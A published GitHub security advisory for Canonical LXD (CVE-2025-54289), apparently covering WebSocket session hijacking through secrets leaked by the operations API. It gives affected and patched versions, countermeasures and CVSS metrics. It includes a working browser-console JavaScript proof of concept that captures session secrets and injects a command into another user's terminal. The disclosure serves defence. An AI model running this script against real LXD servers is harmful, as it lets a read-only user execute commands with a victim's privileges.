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Canonical LXD Vulnerable to Privilege Escalation via WebSocket Connection Hijacking in Operations API

High severity GitHub Reviewed Published Oct 2, 2025 in canonical/lxd • Updated Oct 2, 2025

Package

gomod github.com/canonical/lxd (Go)

Affected versions

>= 4.0, < 5.21.4
>= 6.0, < 6.5
>= 0.0.0-20200331193331-03aab09f5b5c, < 0.0.0-20250827065555-0494f5d47e41

Patched versions

5.21.4
6.5
0.0.0-20250827065555-0494f5d47e41

Description

Impact

LXD's operations API includes secret values necessary for WebSocket connections when retrieving information about running operations. These secret values are used for authentication of WebSocket connections for terminal and console sessions.

Therefore, attackers with only read permissions can use secret values obtained from the operations API to hijack terminal or console sessions opened by other users. Through this hijacking, attackers can execute arbitrary commands inside instances with the victim's privileges.

Reproduction Steps

  1. Log in to LXD-UI using an account with read-only permissions
  2. Open browser DevTools and execute the following JavaScript code

Note that this JavaScript code uses the /1.0/events API to capture execution events for terminal startup, establishes a websocket connection with that secret, and sends touch /tmp/xxx to the data channel.

(async () => {
class LXDEventsSession {
constructor(callback) {
this.wsBase =
`wss://${window.location.host}/1.0/events?type=operation&all-p
rojects=true`;
this.eventsConn = new WebSocket(this.wsBase);
this.eventsConn.onopen = (event) => {
console.log('Events conn Opened');
};
this.eventsConn.onmessage = (event) => {
callback(event);
};
}}
class LXDWebSocketSession {
constructor(operationId, secrets) {
this.operationId = operationId;
this.secrets = secrets;
this.wsBase =
`wss://${window.location.host}/1.0/operations/${operationId}/w
ebsocket`;
this.connections = {};
this.connections.data = new
WebSocket(`${this.wsBase}?secret=${this.secrets['0']}`);
this.connections.data.onopen = (event) => {
console.log('Data Opened');
this.connections.data.send(new
TextEncoder().encode('touch /tmp/xxx\r'));
}
this.connections.data.onmessage = (event) => {
console.log('[Data]', event.data);
};
this.connections.control = new
WebSocket(`${this.wsBase}?secret=${this.secrets.control}`);
this.connections.control.onopen = (event) => {
console.log('Control Opened');
}
this.connections.control.onmessage = (event) => {
console.log('[Control]', event.data);
};
}
close() {
Object.values(this.connections).forEach(ws => {
if (ws.readyState === WebSocket.OPEN) {
ws.close();
}
});
}
}
const sessions = [];
new LXDEventsSession( (event) => {
const op = JSON.parse(event.data);
const opId = op.metadata.id;const secrets = op.metadata.metadata.fds;
for(const session of sessions){
if(session.operationId === opId){
return;
}
}
sessions.push(new LXDWebSocketSession(opId, secrets))
});
})();
  1. Have another user (or yourself for testing) start a terminal or console session on an instance
    At this time, whoever uses the secret first gains session rights, so it's recommended to intentionally slow down communication speed using DevTools' bandwidth throttling feature for verification.
  2. Refresh the attacker's browser tab to stop event listening
  3. Have the victim reopen their terminal/console session and verify:
$ ls -la /tmp/xxx

Risk

Attack conditions require that the attacker has read permissions for the project, the victim (a user with higher privileges) opens a terminal or console session, and the attacker hijacks the WebSocket connection at the appropriate timing. Therefore, while successful attacks result in privilege escalation, the attack timing is very critical, making the realistic risk of attack relatively low.

Countermeasures

As a fundamental countermeasure, it is recommended to exclude WebSocket connection secret information from operations API responses for read-only users. In the current implementation, the operations API returns all operation information (including secret values) regardless of permission level, which violates the principle of least privilege.

Specifically, in lxd/operations.go, user permissions should be checked, and for users with read-only permissions, WebSocket-related secrets (fds field) should be excluded from operation metadata. This prevents attackers from obtaining secret values, making WebSocket connection hijacking impossible.

Patches

LXD Series Status
6 Fixed in LXD 6.5
5.21 Fixed in LXD 5.21.4
5.0 Ignored - Not critical
4.0 Ignored - EOL and not critical

References

Reported by GMO Flatt Security Inc.

References

@tomponline tomponline published to canonical/lxd Oct 2, 2025
Published by the National Vulnerability Database Oct 2, 2025
Published to the GitHub Advisory Database Oct 2, 2025
Reviewed Oct 2, 2025
Last updated Oct 2, 2025

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity High
Attack Requirements Present
Privileges Required Low
User interaction Passive
Vulnerable System Impact Metrics
Confidentiality High
Integrity High
Availability None
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(6th percentile)

Weaknesses

Missing Origin Validation in WebSockets

The product uses a WebSocket, but it does not properly verify that the source of data or communication is valid. Learn more on MITRE.

CVE ID

CVE-2025-54289

GHSA ID

GHSA-3g72-chj4-2228

Source code

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